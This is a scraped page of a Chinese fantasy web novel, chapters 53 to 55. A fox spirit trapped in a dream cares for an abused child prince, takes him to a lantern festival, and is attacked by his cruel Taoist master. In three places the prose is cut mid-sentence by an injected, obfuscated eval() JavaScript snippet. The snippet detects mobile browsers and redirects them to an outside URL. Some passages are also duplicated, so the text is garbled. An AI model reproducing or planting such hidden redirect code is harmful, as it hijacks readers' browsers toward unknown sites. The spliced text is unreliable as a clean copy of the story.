碗碟相碰,发出细微的清脆声响,在寂静的房间里显得格外清晰。 恰在此时,门外传来细微的脚步声。 两个梳着混元髻的小道士走了进来。他们身着青灰色道袍,步履轻快,乍然瞧见屋内除了小世子,竟还有一位陌生的姑娘,两人均是一愣,脚步也随之顿住,脸上显出几分意外。 然而,他们很快便收敛了神色。目光在满月身上迅速扫过,见她穿着王府侍女的制式衣衫,便只对着她略一颔首,算是极简的礼节,随即不再关注她,径直转向依旧端坐在案几前的小世子。 “世子殿下。”为首的小道士声音清亮,同时他将一个攒盒放在了案几上。 满月这才注意到他们带来了东西。 两盏浓稠如墨的药汁被端了出来。 满月离着老远都看得到这药里的古怪。 小道士熟练地打开盒盖,从中端出两盏黑黢黢的药汁。那药汁浓稠如墨,随着药盏被端出,一股难以形容的古怪气味立刻在室内弥漫开来,压过了饭菜残留的微末气息。 满月虽站在几步开外,那股浓烈而混杂的气息却还是直冲鼻腔。不仅仅是药草特有的苦涩辛香,更混杂着一股若有似无、令人不适的腥气,仿佛是某种陈旧之物散发出的铁锈味,又似淡淡的血腥。她下意识地蹙紧了眉头,目光投向了小团子。 小团子神色平静得近乎麻木。他接过药盏,眼睛都不曾眨动一下,就将两盏深不见底的墨色药汁一气灌了下去。那动作一气呵成,显是日复一日早就养成的习惯。 满月想起小团子之前受的伤,愈发觉得这其中存在什么问题。 据彩云讲,小世子的那位师父敬称云华道人,一年前他来府中后,就从王爷那里全权接手了小世子的事情,然而小世子的境况非但未见好转,反倒每况愈下。府中下人们少了管束,更是一日比一日懈怠敷衍。 服完药,那小道士默不作声将空药盏收回攒盒。小团子随即起身,似乎要跟着他们离开。 满月一瞧他们要走,立刻也抬步想要跟上。然而她刚走出没几步,那走在最后面的小道士便像背后长了眼睛似的,倏然转身,抬手拦住了她的去路。 “姑娘请留步。”小道士眉头微皱,带着明显的不悦,但目光扫过她身上王府制式的衣裳,还是耐着性子解释了一句,语气带着不容置疑的强势,“道人教导世子功课,向来不喜有外人在场搅扰。姑娘只需在此安心等候便是,不必随行。” 满月立刻收敛神色,面上堆起应有的几分懵懂和顺从,唯唯诺诺应了声是。 小道士这才又转身离去。 满月站在原地,目送着那两道青灰色的身影引着小团子消失在门外廊道的转角处。 待脚步声彻底远去,满月才敛起神色。她指尖微不可察地掐动了一个妖诀,遮蔽住自身的气息后,身形轻盈如猫般融入门外的阴影中,循着他们离去的方向,悄无声息尾随而去。 53. 053 云华道人所住的地方比小世子的院落还要更偏僻一些,穿过打理得很是粗糙的园景,满月躲在假山后,眼看着小世子随那两个小道士进了一座道观。 王府的私人道观虽规模不大,却比小团子的住处还要精致几分。飞檐斗拱,青砖灰瓦,肃穆清幽,望去颇有几分庄严气象。 满月没敢再往前一步。 她清楚自己几斤几两,在还没有摸清楚那个云华道人的底细前,最好先不要轻举妄动。 毕竟这里处处透着诡异。 不说别的,单是小团子那日手臂上的伤口,就让她隐约感到不安。 她还想照着之前施展纸鹤显影术,但又怕像之前一样打草惊蛇,只得暂且先等在外面。 这一等,就等到深夜。 此处僻静,府里的人也鲜少有人来往,因而不曾点灯,唯一的光源来自不远处的道观,门前挂着两盏风灯。 满月等得犯困,上下眼皮打架,就快要睡过去。 正在此时,前面传来响静。 满月倏然清醒过来,她小心翼翼地从假山后探出头。 这次出来的是个年岁稍长一些的道士,怀里不知抱着什么东西,用衣裳裹得严严实实,看模样应该是小团子。 满月是妖族,鼻子灵,隔着老远,都嗅到一股隐隐约约的血腥气。 她轻轻蹙了下眉头,悄声融入黑暗中,亦步亦趋跟在后面。 天色一暗,小世子的院子里一个人也没有。这也正常,本来下人们就对他讳莫如深,天黑更不肯过来走动,这倒是方便了道士一路畅通无阻地进入院子。 待道士离开后,确认他再不会折返,满月才推门进了正房。 屋内的火盆早就灭了,门窗不严实,风雪灌进来,寒意刺骨。 满月打起帘子去了里间,没有点灯,四下黑漆漆的,只有冰冷的月光从窗棂透进来,投下斑驳的碎影。 小世子静静躺在床榻上,借着微弱的月光,方能看到他全身上下布满了伤痕,连脸颊都被不知什么东西啃噬过似的,才长好的手臂又见白骨,鲜血淋漓。 满月心一惊。她忙上前探了探小世子的鼻息,见人还活着,才堪堪松了口气。 不过……这也太惨了。 满月细细打量着,忍不住眉头越皱越紧。 虽然他身上的伤口还和那日一样以惊人的速度愈合,但架不住实在伤得太重,里里外外找不到一块完好之处。 相比于同情,满月更多是惊诧和毛骨悚然。 堂堂一个王府的小世子,纵然不受父母宠爱,也不至于沦落到这种地步。那个什么云华道人显然不是什么好货,天知道他每天都在拿小世子搞什么邪修实验。 满月看着实在是心头发憷。 似乎是太冷,榻上的小团子发起抖来。满月寻了被子给他盖上,发现他额上密密布着一层冷汗。 满月探了探他的额头,热得烫手,与此同时身体却一片彻骨的寒凉,没有一丝温度。 满月傻了眼。 他不会,不会就这样交待在这里吧。 梦境之主一旦死去,梦境也会随之消散,她还没有拿到关键的梦种,离不开这里,也会一起跟着死无葬身之地。 他不能死。 满月强迫自己冷静下来。她手忙脚乱地寻过角落里的火盆,把几块新炭胡乱塞进去,指尖凝起一点微弱的妖力将其点燃。 橘红的火苗艰难地舔舐着黑炭,噼啪作响,终于挣扎着燃起,带来一丝热气。 满月又给小团子加了一床被子。可他却没有一点好转,反而似冷得更厉害,身体愈加不住地颤抖。 满月握住他的手,将自身的妖力渡入他体内。 然而妖力源源不断输入他体内,却如同泥牛入海,有去无回。 满月能清晰地感觉到体内的妖力正以前所未有的速度流逝,小团子的身体就像无底深渊,贪婪地吞噬着一切。 她脸色逐渐变得苍白起来,想要抽离开,却被一股无形的力道缠住不放。 不行啊。 这样下去别说救他,她也会被吸干的。 绝望的情绪漫上心头,如同冰冷的潮水,几乎将她溺毙。 满月试图阻挡妖力地外泄,然而却是徒劳。她因妖力的过快流失眼前发黑,虚弱不堪。 就在她放弃抵抗彻底沦陷时,腕上沉寂多时的玉珠忽然毫无征兆地发起烫来。 满月被灼烧了一下,瞬间清醒。 她瞧着腕上的玉珠,大惑不解。 玉珠发烫的情况,一般都是遇到危险的时候,怎么会在这时…… 不等她细想,玉珠陡然爆发出刺目的幽蓝光华。光芒充盈整个房间,炭火被映得黯然失色,连墙壁都被染上了一层诡异的蓝色。 紧接着,幽蓝之光涌入小团子体内。小团子身上那些狰狞的伤口骤然翻涌出浓稠如血、带着不祥气息的黑红之气,仿佛是从伤口深处被逼出来的。 血红之气甫一出现,便被幽蓝华光所吞噬殆尽。 满月感受到一种被撕裂的痛苦。然而玉珠却像饥饿多时的困兽,贪婪无厌地吞下眼前的一切。 随着血红之气被玉珠尽数吸收,小团子的伤口以比他自己还要更快的速度愈合起来。 好困。 满月却只觉得疲倦,像是吸收了远超出她能力范围的强大力量,四肢百骸充斥着餍足的怠惰感。 而被玉珠吞下的血红之气却在其内蔓延开,眨眼间便将玉珠染成了如同墨汁的漆黑,莫名有种令人不安的妖异感。 幽蓝的华光也被重新收回了玉珠内,如同最纯净的火焰,在漆黑的内部灼灼燃烧起来。 片刻,玉珠表面的漆黑逐渐褪去,恢复了最初的澄净。 满月终于能松开小团子的手。 只是她已经太累了,眼皮犹如铅坠,明知道不该在此时睡去,但最终还是抵挡不住接踵而至的困意。 头一偏,她就这样趴在床沿上沉沉睡了过去。 * 小团子醒来时,只觉得身上是前所未有的轻松。 他有些奇怪。按照过往的经验,身上的伤至少要三四天才能完全痊愈,这次怎么这么快。 带着这样的疑惑一转头,小团子就看到趴在床边的人。 他一怔。 是那个奇怪的小妖怪。 小团子抬起手,昨日露出白骨的手臂,已经完好如初,甚至连疤痕都没有留下,就好像经历的一切都只是他的幻觉。 不可思议。 但他清楚,这次不是自己的缘故。 那么就只可能是因为眼前的这个小妖怪。 小团子垂下浓密的长睫,遮盖了其中的情绪,深不见底的乌黑眼眸静静打量着旁边的人。 乍看起来,她的外表并没有什么特殊之处,生得极为普通,并不会引起特别的注意,和他人口中面目可憎的妖类并不一样。 他不怕妖。虽然他不知道妖是什么,但他在册子上看到过妖的画像,都有着血盆大口和尖锐的牙齿,可即便如此,他也不曾害怕,因为他也是个怪物。 所以那日察觉到她的奇怪,试探得到了这个答案后,他也不曾有过一丝一毫的惧怕。 而且正相反,人人喊打的妖并没有害过他,反而还救了他。那些口是心非的人,却用各种好听的理由,一遍又一遍地伤害他。 小团子伸出手,想要触碰一下旁边的人,验证这究竟是不是只是他幻想出来的。然而就在即将碰到的一刻,他却停了下来。 须臾,他收回了手。 小妖怪却全无察觉他心绪间的万千波动。她睡得很香甜,梦里不知梦到了什么,砸吧砸吧嘴,似乎在念念有词。 小团子屏住呼吸慢慢凑近了她。 “鸡腿……别走……”她念念有词。 小团子:“……” 小团子自顾自起身,踮着脚尖翻开墙角的衣箱,拿出干净衣物,动作娴熟地换好。这一套动作行云流水,一看就是经常这么做,习惯成自然。 满月听着窸窸窣窣的响动,从美梦中醒过来。 趴着睡了一夜,脖子都僵了,她一面揉着后颈,一面朝着响声传来的地方看去,待瞧清换了干净衣裳的小团子后,才想起昨天发生的事。 满月伸了个懒腰,揉揉发酸的肩膀,见小团子已是恢复完全,想到是自己的功劳,她甚为满意:“你醒这么早。” 她态度就好像两人多么熟稔。 小团子稍稍愣了下,才撇开眼道:“你为什么总是跟着我?” 从昨天到现在,他终于开口对她说出了第一句话。 虽然不是什么好话。 唔,好歹也算是破冰了。 满月很想得开。她活动着肩膀起身,看了眼窗外估摸了下时间:“我先去拿早膳,等回来再说。” 小厨房又如昨天的情景, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小团子没有说信还是不信,只是静静看着她。满月也不多言,同样也只是安静回望他。 时间一点一滴流逝。 小团子先移开了眼,看起来像是接受了这个解释。 眼见有戏,满月心砰砰直跳,乘胜追击:“那你可以告诉我,你的心愿是什么吗?” 小团子没说话。 “就是你目前最想实现的一件事。”满月提示他。 小团子还是不说话。 满月手托着脸,轻叹一声,就这么坐在他对面,耐心地同他耗着。 不知过了多久,小团子重又看向她,乌黑的眼眸深处带着一丝极其细微不易察觉的希冀:“如果我的心愿实现了,你就会离开吗?” 满月怔忪一瞬。 待明白过来他话里暗含的意思,她的心情不禁变得复杂而微妙。 一个备受折磨与煎熬的人,即便只得到一些再微不足道的好意,都会想要紧紧抓住。 如果这是一本救赎文,又或者是什么攻略游戏,她很明了该做出什么选择。 可她清楚这只是一个存在于过去的梦境,一个既成的幽灵。她是不可能真的救他,更不可能给他带来真正的希望。 或许是小团子的境遇太过悲惨,到底唤起了她心底的一丝柔软,满月不想再骗他——尽管她知道那样做才是最好的。 她没有回答小团子的话,只迂回地换了种发问方式:“你想让我帮你逃离这里吗?或者……或者让我帮你杀掉某个人?” 这在满月看来算得上最高难度的一档心愿,据她的观察,客居王府的那位云华道人怎么也不可能是等闲之辈,真要对上,她的胜算并不高。 可这也是没办法的事,不过这一关,她被困在这里横竖是等死的命,试试看说不定有转机呢。 小团子却摇了一下头。 竟然不是。 满月这下真的好奇了。 小团子却只是看着她。大约知道她不会再回答他先前的问题,眼中本就微弱的光亮彻底黯淡下来。 他垂下长睫,片刻后又抬起,乌黑眼眸再不见丝毫的情绪。 “五日之后的上元节。” 他开口,一字一句道。 “带我去看一次真正的灯会吧。” 54. 054 看灯会。 满月眨了眨眼,没想到小团子的心愿竟会如此的简单朴素。 当然也不排除他是在骗她。 不过满月直觉这是真的,至少有一部分是。 小团子说五日后是上元节,满月才发现梦境的时间线是在正月里。也不怪她如此后知后觉,小世子的院子实在太过凄清,平素没什么人往来,留在这儿的下人们也懒怠多动,到处都没有什么过节的氛围。 虽然打定主意不要多管闲事,满月想了想,还是找出原主的私房钱,托管事去外面买了些糯米粉,白糖,芝麻,核桃一应之物。 东西是管事交给彩云带给满月的,彩云坐在那张破桌子前,磕着手里的一捧瓜子,边往外吐瓜子壳边道:“你买这些东西做什么?给那位做汤圆吃?” 满月没有回答,只将一小袋核桃送给彩云,当做谢礼。 上元日,小厨房照旧冷冷清清空无一人。幸好在三危山时藤娘子手艺太差,满月为了吃顿好的,多少学了些东西。 她将做好的馅料揉搓进糯米团子里。一顿工夫下来,外面天都变黑了。 满月拎着攒盒回去时,房间的火盆又熄了,只有隔间书房亮着一盏略有些昏暗的灯。小团子坐在书桌前,手上拿着一本崭新的话本,这同样是满月托人从外面带回来的。小世子这院早都漏成了筛子,什么都能当做货物在其中流转,也省得她自己亲自外出采购。 满月将火盆点燃,又拨了拨灯芯。 屋里登时变得亮亮堂堂。 “快来吃汤圆吧。”满月喊了一声,小团子才恋恋不舍地放下手里的话本走过来。 王府并没有给小团子请西席开蒙,但他天赋异禀,靠着自学和那位云华道人间或的指点,早是认得不少字。只是无人在意这些,唯一一本游记还是上一个贴身照料他的人留下的,怪不得已翻得破破烂烂。 满月将碗筷拨给他,各自盛了一碗汤圆子。 满月这次倒是没有太多的企图,单纯是想让小团子过几天好日子,毕竟等她拿到梦种,以此为核心搭建的梦境就会坍塌殆尽。 不过好消息是,他也不必再继续受苦了。 过去就真的被埋葬在过去。 刚好这几日云华道人没有再让小团子去道观里,也免去了满月承受因不得不袖手旁观而带来的良心折磨。只是那诡异的汤药还是雷打不动每日送来,在小道士的监视下,小团子必须一饮而尽。 小团子咬了一个汤圆,芝麻馅流出来。 “好吃吗?”满月一脸期待。 其实有点太甜了。 大概是白糖放多的缘故。 小团子点点头:“好吃。” 他不气人的时候还是挺可爱的。 小团子吃到第三个的时候突然啊了一声。 满月就在等这个,她抬头看他,他从嘴里吐出来一个铜钱。 满月也不知道该不该往汤圆里放铜钱,她上辈子是北方人,家里过年都是往饺子里放铜钱的,无章可循,她也就随着自己的心意乱来了。 满月弯眼笑起:“这可是我们那里的习俗,你吃到了铜钱,新的一年就会顺顺利利。” 小团子将铜钱拿在手上看了半天,最后哼了一声,说了句:“骗小孩罢了。” “你还装起来了。”满月拧了下他的脸,手感怪好的,软软糯糯,“你也是个小屁孩罢了!” 这句话她老早就想吐槽了。 虽然心性早熟,但在某些时候,还是能看得出他身上残余的一些孩子气。 收拾好残余的饭菜,满月发现小团子没再像之前一样捧着那本如获至宝的话本,而是去了庑廊下。 她跟着出去。这里没有点灯笼,四周漆黑一片,头上的月亮就显得十分明亮。 “是满月诶。”满月指着那轮圆月道。 “十五的月亮十六圆。这不是满月。”小团子一本正经,也不知这是他在哪儿听到的话,总算是派上了用场。 “反正也差不多。”满月早习惯了他幼年老成的作风,她在他旁边坐下,和他一起仰头瞧向月亮。 不知过了多久,街上有人放起了烟火,紧接着前院也开始了,一声又一声此起彼伏,衬得连这个空荡寂静的小院也短暂地热闹起来。 满月一拍脑袋,有些懊恼:“我忘了还有这样东西了。” 光顾着弄汤圆,都忘了还有这个可以玩。 “你等着。”话音一落,满月的身影就融入了夜色之中。 小团子听话地坐在原地,安安静静瞧着天边一轮一轮亮起的烟火,乌黑的眸中倒映着天际的火光,璀璨夺目。 前后的烟火都将息未息,大的放完了,只剩下一些小的。 浮华褪去,四周重又渐渐变得孤寂起来。 就在小团子疑心那个小妖怪已经悄无声息离开了时,满月终于回来了。 她毕竟有点妖术在身,只要不正面对上云华道人,随意进出还是游刃有余的。 满月藏了一袖子,走到小团子面前才松开,哗啦啦,裙子里的东西落了一地。 “二踢脚,天地灯,二仙传,这个是……竹节花。”满月一个一个辨认着,情绪却不如先前高涨,有点心不在焉。 刚刚她去前院,看到了府中正在开家宴。王妃一如既往在小佛堂没出来,那位王爷倒是耽溺于酒林肉.池,纵情享乐不知天地为何物,看得满月一肚子气。 好吧,她也是有点自我代入了。 她和小团子一样,都是自小被父母抛弃的小孩。不同的是她好歹还遇到了嘴硬心软的藤娘子,而他不仅被冷落,还要遭受那个疯子云华的折磨。 未免引来旁人的关注,满月拿来的都是小烟花,火光被点燃,落落如同星辉,将这个寂寥多时的小院也暂且点亮。 借着那重重光影,小团子抬头看向对面的人。 “你怎么了?”他敏锐地觉察到她的变化。 满月正点了一只拿在手里的竹节花,火花噼里啪来,她的脸在火光中忽明忽暗。 放完最后一个,街边又想起了鞭炮的声音,头顶圆月落在了正中的位置,已是深夜。 满月拍拍手上的烟灰,转头笑道:“没什么,我们去看灯会吧。” 满月给小团子换上提前备好的衣物,带着他爬墙翻出了王府。 这条路是满月提前踩过点的,平时也甚少有卫兵来巡视,如今又是上元节,更是没有一个人。 满月带着小团子去了京中最为热闹的那条长街。 上元节没有宵禁,刚过了晚膳,街上正是人渐多的时候,人潮汹涌,车水马龙,一整条街上都是各种摊贩, 满月也没什么和小孩子相处的经验,就仿造和小团子年岁差不多的玄妙的喜好,给他买了糖人和糖葫芦。 小团子兴趣寥寥,尝过几口,就不想吃了。 满月注意到他反而很喜欢观察人。许是因为他自生下来就被父母冷落,身边又少有亲近他的人,唯一的师父又只会对他做一些残忍的事情,所以他对除王府之外的人是什么样很感兴趣。 满月便也随着他的性子来。两人慢慢穿行于来往的人潮之间,逛着逛着,终于来到了灯会处。 小团子眼睛亮了一亮,很快被各式各样的华灯吸引了注意。那双乌黑的瞳眸,平日总是沉静似古井,此刻映着流转的灯火,深处有极细微的光芒在跃动。他抿着唇,全然没有普通孩童的雀跃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068340|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指点,只是安静走着,目光却贪婪地扫过每一盏造型奇巧的华灯,企图将这个鲜活的世界刻在心里。 满月走在他后面一点,保持着恰到好处的距离,既护着他,又不过分亲近。她敏锐地捕捉到了他眼底极为隐秘的喜悦。来这个世界这么久,满月还是头次见他这样。 看来他是真的很想看一次灯会。 满月悄悄引动妖力,小团子正在端看的走马灯闪烁了几下,随后就恢复如常,只有他捕捉到了这一幕。他十分惊奇的回头,却见满月背着手,笑着冲他眨了眨眼,才知道是她在故意逗他玩。 小团子没说话,回过头后,唇角却几不可闻地微微扬了下。 走着走着,满月终于看见一个卖灯盏的地方,她正想带小团子过去,才发现他去了旁边无人的石桥,趴在桥头上,入神地瞧着下面缓缓流动的星河。 不少人聚在河边放灯,点点星火,如流萤一样。 满月不想打扰他,扬声道:“你在这里等我一下,我很快回来!” 小团子乖巧地点点头。 满月走后,他仍一瞬不瞬注视着桥下的星河,无数的星火在墨色的水波上摇曳,将倒映的星光揉碎了又重聚。 和书里讲的一样。 那本他翻烂了的书,是一个无名书生写的游记,小团子尤其喜欢他写灯会的那部分,翻来覆去看了很多遍。 书上说,放河灯的习俗是为了思念故人,河流与冥府相接,河灯会飘向那里。 以前嬷嬷在身边照顾他,就像现在的那个小妖怪一样。 如果真的有魂魄这种东西,嬷嬷的魂魄,会在这些河灯去向的地方吗? 灯映在他的瞳中,宛如星辰。 就在这时,一阵裹挟着寒意的夜风拂过空旷寂寥的石桥,卷起地上细碎的尘埃。这风冰冷刺骨,略过小团子的后颈,激得他起了一层鸡皮疙瘩。 然而这风带来的,不仅仅是寒意。 小团子敏锐地在其中捕捉到了极其微弱的一缕气息。 很熟悉。 小团子脸色唰的一下变白,瞳孔因极度的惊骇而收缩。他赶紧从石墩子上下来,目光沿着不远处的街边梭巡一遍,急切地寻找着满月的身影。 他必须立刻带她走! 可是太迟了。 他甚至还没来得及锁定目标,四周原本被摇曳灯火拉长的阴影,如同活物蠕动起来,融合在一起,像一片粘稠如墨的泥沼,以极快的速度爬过石桥,瞬间缠上了他的脚踝。 小团子只觉得刺骨的阴寒从脚踝窜遍了全身,他试图挣脱,却动弹不得。 下一瞬,束缚着他的阴影化为了实质,如淤泥一般向上攀爬,缠绕上他纤细的脖颈。 小团子骤然窒息,喉咙被死死扼住,空气被残忍斩断,他被黑影带离地面,悬在半空。 与此同时,在那片灯火完全无法触及的角落里,一个身影在质地浓稠的黑暗中逐渐显现成形。 “好徒儿,你真让我好找。” 寒风裹挟着那人的声音传来。 语毕,黑暗中的人影动了。 他踏上冰冷的石砖。笃,笃,笃。脚步声清晰可闻,但落在小团子耳中,却像一场缓慢的凌迟。 终于,那人在离小团子不远处停了下来。 四面灯火在此时照见了他的模样。 青衣道人唇边噙着一抹似是而非的笑容,面容在煌煌灯火中忽明忽暗。他居高临下看着面前的小人儿,琥珀眼眸映着他痛苦狼狈的模样,让他很是愉悦。 “你啊。”青衣道人笑着,语气中带着一丝亲昵的责备,像长辈对待迟归的孩童,却冻结了桥面上最后的一丝温度,“到底还是太贪玩了些。” 55. 055 冰冷的石桥在寒风中沉默,煌煌的灯火隔绝在数步之外,那么远又那么近。 小团子悬在半空中的身体渐渐停止了徒劳的挣扎,窒息带来的黑暗已经侵蚀了大半的意识。 此刻他仅存的念头只有一个。 那就是希望那个小妖怪回来得晚一些,再晚一些。 他被带走也好,被杀掉也罢,都绝不能让师父看到她。 正在他快要被这绝望的念头彻底吞没时,云华道人抬了下手,缠绕在他脖颈上的黑影松开了他,极为乖巧温驯地重新融入地上暗影去。 失去了束缚,小团子从半空之中跌落,重重砸落在了石桥桥面上。 “咳咳咳……”他蜷缩成一团,骤然涌入的空气救了他。 “知错了吗?”云华道人似笑非笑瞧着他,琥珀眸子底部,却是毫无感情的淡漠。 小团子艰难地用手肘支撑着自己从地上爬起,他十分狼狈,白皙的脸上布满了细小的擦伤,在夜色中尤为醒目。 “徒儿……知错。” 小团子低着头,长而浓密的睫毛如同鸦羽,乖顺地垂下来,遮盖住眼底翻涌复杂的神色。 他整个人仿佛被抽走了灵魂,重新变回了一尊精致却无生气的泥偶,无悲无喜,没有丝毫的情绪。 云华道人依然噙着那抹若有若无的笑,衣袂在寒风中纹丝不动,带着一种优雅的从容,他伸出手,状似亲昵地轻轻抚上小团子的头顶。 然而小团子却只觉一股难以言喻的阴寒死气被生生灌入他的脑袋,疼得他痛不欲生。 小团子咬紧牙关强撑着,任凭浓重的血腥气息蔓延在口中。 师父是在惩罚他。他知道。 还能够惩罚他是好事,说明师父并不知道那个小妖怪,只是单纯不满意他违背了他的命令私自外出。 一丝扭曲的庆幸出现在心头。 小团子拢在袖中的手猛地攥紧,指甲深深陷入掌心,带来尖锐的刺痛,才勉强抑制住身体本能的战栗。 “罢了。”不知过了多久,云华道人终于松开了手,他笑吟吟地俯下身,阴影笼罩在小团子身上,巨大的压迫感倾斜而出,“这件事为师可以不再计较,只要小殿下告诉我,是谁带你出来的就好。” 恐惧瞬间如同实质的冰水浸透四肢百骸。 小团子强迫自己稳住心神,不泄露任何可趁虚而入的脆弱,他低垂下眼,每说一个字都无比滞涩:“是我自己跑出来的。” 云华道人脸上的笑意没有丝毫减退,甚至更温柔了些。他将手轻轻搭在了小团子单薄的左肩上。 小团子的脸色立时煞白,额上也密密布了一层冷汗。 “我说过了吧。”云华道人笑着,“今天是个重要的日子,要殿下乖乖留在府中。不过几日没有见殿下,殿下怎就变得如此贪玩了?” 他话说的不重,手上的力道却一点不轻。 小团子闷哼一声,唇角溢出一缕血丝,终于再也支撑不住,单膝重重砸在冰冷的桥面,一只手撑住地面才没有倒下。 是的,师父早就说过了。 上一次,在那片充斥着无数黑色怪物的百煞阵深处,将他带出来时师父就特意交代过,要他在上元日,务必留在府中等他回来。 师父什么也没有解释,没有说为什么,也没有说会发生什么。可小团子却隐隐约约感觉到,他恐怕活不过这个上元日了。 所以那个小妖怪在询问他心愿的时候,见不得光的念头就这样浮现了出来。 想看灯会是真,但更重要是他不想就这么无声无息地死在那片只有怪物的黑暗深处。 他想被她看见,想被她记住,所以他想死在她的面前,想让她亲眼看到他一直以来所承受的痛苦和绝望,哪怕这个自私的念头可能会像淬毒的利剑,最终害了她。 他明明是这么想的。 可是还没有发生,他就已经后悔了。 他想是他错了。 他不该为了一己私欲,将她拖下水。 如今他只有一个想法。他希望赶快被带走。 他试探过那个小妖怪,清楚她实力深浅。他被带走,她一定找不到的。 “是我自己贪玩。”小团子低下头,语气中没有一丝一毫的情绪,“请师父责罚。” 云华道人眯了下眼,无声地审视他。 时间在死寂的空气中凝滞了片刻。 “算了,我的好徒儿不愿说,那便不说了。”云华道人抬头望了眼远处阑珊的灯火,仿佛在欣赏佳节夜景,“时候不早了,你随我来吧。” 话音落下,压在小团子周身的恐怖威压退潮般骤然消散。 小团子擦掉嘴角的鲜血,强撑着站起来,单薄身形摇摇晃晃。 他低垂着头,不敢看任何方向,安静地随着青衣道人离开,每走一步,都仿佛踏入更深的黑暗。 只是这次,再没有那个会执着问他心愿的小妖怪。 小团子捏紧了藏在手心的铜钱。 就在这时,一个清脆的声音带着明显的疑惑从身后传来—— “你怎么走了,不想玩了吗?” 小团子浑身血液瞬间冻结。 他没有回头,甚至连一丝停顿都没有,强迫自己继续往前走,不漏出任何破绽,就像完全不认识那人一样。 然而走在前面的云华道人却停了下来,他饶有兴致地看了眼身边的小团子。尽管他的小徒弟已经伪装得足够好,但到底还是年岁小了些,呼吸在刹那之间乱了几息,足以暴露了他的心意。 原来如此。 云华道人弯了下唇角,抬眸瞧向那个一手拿着一盏花灯的女孩,她遮蔽气息的术法在他面前根本不值一提,只一眼,他就看出了她的身份。 竟然还是个妖。 妖在云华道人的眼中,也只比刚懵懂开智、连人形都化不出的精怪强一点罢了。 满月抱着小兔花灯停在了四五步之外,再迟钝,她也发现了不对劲。 小团子不再是一个人,在他身前,还站着一个高大的青衣男子。 青衣男子回头看她,压迫感迎面而来,一种危险的直觉自心头升起,她不自觉退后一步。 心中的恐惧是骗不了人的。 眼前的人,很危险。 “这就是带殿下出来的那位‘朋友’吗?”云华道人的语气温和,看似在问身边的小团子,却一瞬不瞬注视着满月。 满月的脑子里迅速闪过小团子身上的那些伤痕,不用猜都知道这个人就是他的师父——云华道人。 想逃。 在巨大的实力差距面前,只有求生的本能欲望一路高涨。 可她的身体却仿佛被冻结,一动不能动。 她……被人控制了。 小团子身体紧紧绷着,不敢回头。 “也是我没有管教好殿下,什么东西都敢凑到殿下身边来。”云华道人摇摇头,语气是自责,面上却带着一抹愉悦的笑。 他话音一落,满月只觉一股重重的力道隔空打在她身上,她被掀飞出去,顺势摔在桥栏上,震得桥身都发出一声嗡鸣。 然而这样大的动静,却像是被隔绝了一样,并没有招来外界任何的注意。 满月摔在地上,五脏六腑仿佛错了位,传来了鲜明的痛意,喉咙深处涌上一股浓重的腥甜气息。 恐惧。 那是一种在绝对力量面前油然而生的纯粹恐惧。无情的事实拷打着她,让她知道她先前的想法有多么的天真幼稚。 这果然不是个普通的梦境。 这个云华道人,比她想象中更加可怕。这种绝对的压制力满月只在两个人身上见到过,一个是陆宴白,一个就是云华道人。只不过相比于前者,云华道人明显压迫感更重。 因为他是真的想杀了她。 在巨大的差距面前,满月都无法生出反抗的心思。 她因剧痛蜷缩在地上起不来,折磨却远没有结束。 地上的黑影迅速聚合,如同毒蛇的绞索,瞬间缠上她脆弱的脖颈。 就像先前的小团子一样,满月的身体被这股力量从地上提起,悬停在半空。 她极力地挣脱,却无济于事。 这股力量并不急于杀死她,而是巧妙地维持着一个平衡,既不至于立即致死,又让她足够痛苦。他似乎并不急着就这样杀死她,而是保持着一个非常微妙的力度,既不至于立即致死,又足够痛苦 这分明是虐杀。 以他们实力的差距,他想动手,根本不必如此大费周章。 这个疯子!死变态!! 在意识濒临涣散的痛苦中,恐惧反而退居其次,一股油然而生的愤怒破壳而出,占据她的心。 她不甘心,又觉得凭什么。 凭什么世间全是这样视人命如草芥的混蛋,凭什么她总是被这么对待。 弱小有罪吗?如果她生来的意义只是被人践踏在脚下,上天又何必要她存在于世? 愤怒,不甘,怨恨。 她的意识如风中残烛逐渐消散,腕上的玉珠却忽明忽暗闪了起来。 就在玉珠发烫的前一刻—— “师父。” 小团子跪在了云华道人的面前。 不止是濒临窒息的满月,就连一向视万物为玩物的云华道人,也罕见地微微一怔。 “徒儿知错了。”他俯身,重重磕向坚硬的桥面,额角的血顺着留下来,沾染了他长密的睫毛,浸染了他半张脸。 而他却仿佛感觉不到疼痛,只一遍一遍重复着这个动作,粘稠温热的鲜血模糊了他的视线,世界仅剩下这片血色。 云华道人扬了下眉,除了最开始的些许惊讶外并不为所动。他看着小团子这副模样,想到什么更好玩的事,笑了起来,满怀恶意道:“既然不想让她这么痛苦……那你知道该怎么做吧?” 小团子沉默,任凭着鲜血不断淌下。 须臾,他点了点头。 禁锢着满月的力道一松,她重新摔落在地上。 云华从袖子里取出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“小殿下还是太无能了些,连这点小事都做不到。”云华道人轻笑着,淡漠地扫了眼地上两个相拥的身影,不疾不徐走过去,如同拎起一只小猫崽,轻而易举拎起了小团子。 小团子早已失去了所有生气,像断了线的人偶,任由他摆布。 至于地上的满月—— 